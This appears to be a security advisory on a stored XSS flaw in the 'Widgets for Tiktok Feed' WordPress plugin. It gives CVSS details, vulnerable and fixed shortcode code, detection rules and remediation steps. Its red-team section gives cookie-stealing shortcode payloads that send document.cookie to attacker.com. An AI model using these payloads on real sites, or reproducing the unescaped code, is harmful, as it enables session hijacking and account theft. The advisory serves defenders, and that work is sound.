CVE-2025-8906

Executive Summary

CVE-2025-8906 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "Widgets for Tiktok Feed" by Trustindex. The flaw exists in all versions up to and including 1.7.3, specifically within the trustindex-feed shortcode. Due to insufficient input sanitization and output escaping on user-supplied attributes, authenticated attackers with contributor-level access or higher can inject arbitrary web scripts. When a user (including administrators) visits a page containing the injected payload, the script executes in the context of the victim's browser, potentially leading to session hijacking, defacement, or credential theft.

This vulnerability is particularly dangerous in multi-author WordPress environments where contributors can create or edit posts. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the lack of a patch increases risk for unmaintained sites.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No supply chain compromise has been reported, but the absence of a patch means site owners must rely on manual mitigation or plugin removal.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The medium severity reflects the need for authenticated access but the potential for widespread impact due to stored XSS.

Deep Dive & Mechanics

The vulnerability resides in the trustindex-feed shortcode handler. The plugin fails to properly sanitize user-supplied attributes (e.g., username, hashtag, count) before rendering them in the page HTML. An attacker can inject JavaScript payloads via these attributes, which are then stored in the WordPress database and executed when the page is loaded.

Root Cause: The plugin uses add_shortcode('trustindex-feed', ...) and processes attributes without calling esc_attr() or wp_kses() on the values. The output is echoed directly into the page without escaping.

Attack Flow:

1. Attacker logs in as a contributor.
2. Creates a new post or page and inserts the shortcode: [trustindex-feed username="<script>alert('XSS')</script>"]
3. The payload is stored in the database.
4. When an admin or visitor views the page, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.7.3):

function trustindex_feed_shortcode($atts) {
    $a = shortcode_atts(array(
        'username' => '',
        'hashtag' => '',
        'count' => 10
    ), $atts);
    // No sanitization or escaping
    $output = '<div class="trustindex-feed" data-username="' . $a['username'] . '" data-hashtag="' . $a['hashtag'] . '">';
    // ... rest of the code
    return $output;
}
add_shortcode('trustindex-feed', 'trustindex_feed_shortcode');

Patched Code (hypothetical fix):

function trustindex_feed_shortcode($atts) {
    $a = shortcode_atts(array(
        'username' => '',
        'hashtag' => '',
        'count' => 10
    ), $atts);
    // Sanitize and escape attributes
    $username = esc_attr(sanitize_text_field($a['username']));
    $hashtag = esc_attr(sanitize_text_field($a['hashtag']));
    $output = '<div class="trustindex-feed" data-username="' . $username . '" data-hashtag="' . $hashtag . '">';
    // ... rest of the code
    return $output;
}
add_shortcode('trustindex-feed', 'trustindex_feed_shortcode');

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with plugin version <= 1.7.3
• Contributor-level account or higher

Step 1: Craft the payload

[trustindex-feed username="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]

Step 2: Create a new post

• Log in as contributor.
• Create a new post and insert the shortcode in the editor.
• Publish or save as draft (if draft is viewable).

Step 3: Trigger execution

• Visit the post as an admin or any user.
• The script executes, sending cookies to attacker's server.

Alternative payload for session hijacking:

[trustindex-feed username="<img src=x onerror=\"document.location='https://attacker.com/steal?cookie='+document.cookie\">"]

Blue Team (Detection & Prevention)

Detection:

• Monitor for shortcode usage with suspicious attributes in post content.
• Look for trustindex-feed shortcode containing <script>, <img onerror>, or other HTML event handlers.

Prevention:

• Disable the plugin until a patch is released.
• Use a Web Application Firewall (WAF) to block XSS payloads in shortcode attributes.
• Restrict contributor-level access to trusted users only.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/widgets-for-tiktok-feed/ (entire plugin directory)
• Database: Posts/pages containing [trustindex-feed with HTML/JavaScript in attributes
• Network: Outbound requests to attacker-controlled domains from WordPress admin pages
• Logs: WordPress debug log entries showing shortcode parsing errors or unexpected HTML

Detection Engineering

YARA Rule

rule CVE_2025_8906_WordPress_TikTok_XSS {
    meta:
        description = "Detects malicious shortcode usage for CVE-2025-8906"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-8906"
    strings:
        $shortcode = /\[trustindex-feed\s+[^\]]*?(?:<script|<img\s+onerror|<svg\s+onload)/i
        $payload = /(?:onerror|onload|onclick|onmouseover)\s*=\s*["']?javascript:/i
    condition:
        $shortcode or $payload
}

Sigma Rule

title: CVE-2025-8906 WordPress TikTok Feed Stored XSS
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS via trustindex-feed shortcode in WordPress
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 'trustindex-feed'
        http.body|contains|all:
            - '<script'
            - 'trustindex-feed'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in shortcode attributes (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-8906 WordPress TikTok Feed Stored XSS"; flow:to_server,established; content:"trustindex-feed"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to operations.
2. Remove all instances of the trustindex-feed shortcode from posts/pages.
3. Audit user roles and revoke contributor access for untrusted users.

Long-term Fix:

• Monitor the Trustindex plugin page for an official patch.
• Apply the patch as soon as it becomes available.
• Consider replacing the plugin with a more secure alternative.

Workaround (if plugin must remain active):

• Add a custom function to sanitize shortcode output:

add_shortcode('trustindex-feed', function($atts) {
    $a = shortcode_atts(array('username' => '', 'hashtag' => '', 'count' => 10), $atts);
    $username = esc_attr(sanitize_text_field($a['username']));
    $hashtag = esc_attr(sanitize_text_field($a['hashtag']));
    return '<div class="trustindex-feed" data-username="' . $username . '" data-hashtag="' . $hashtag . '">';
});

Valters IT
Securing Digital Frontiers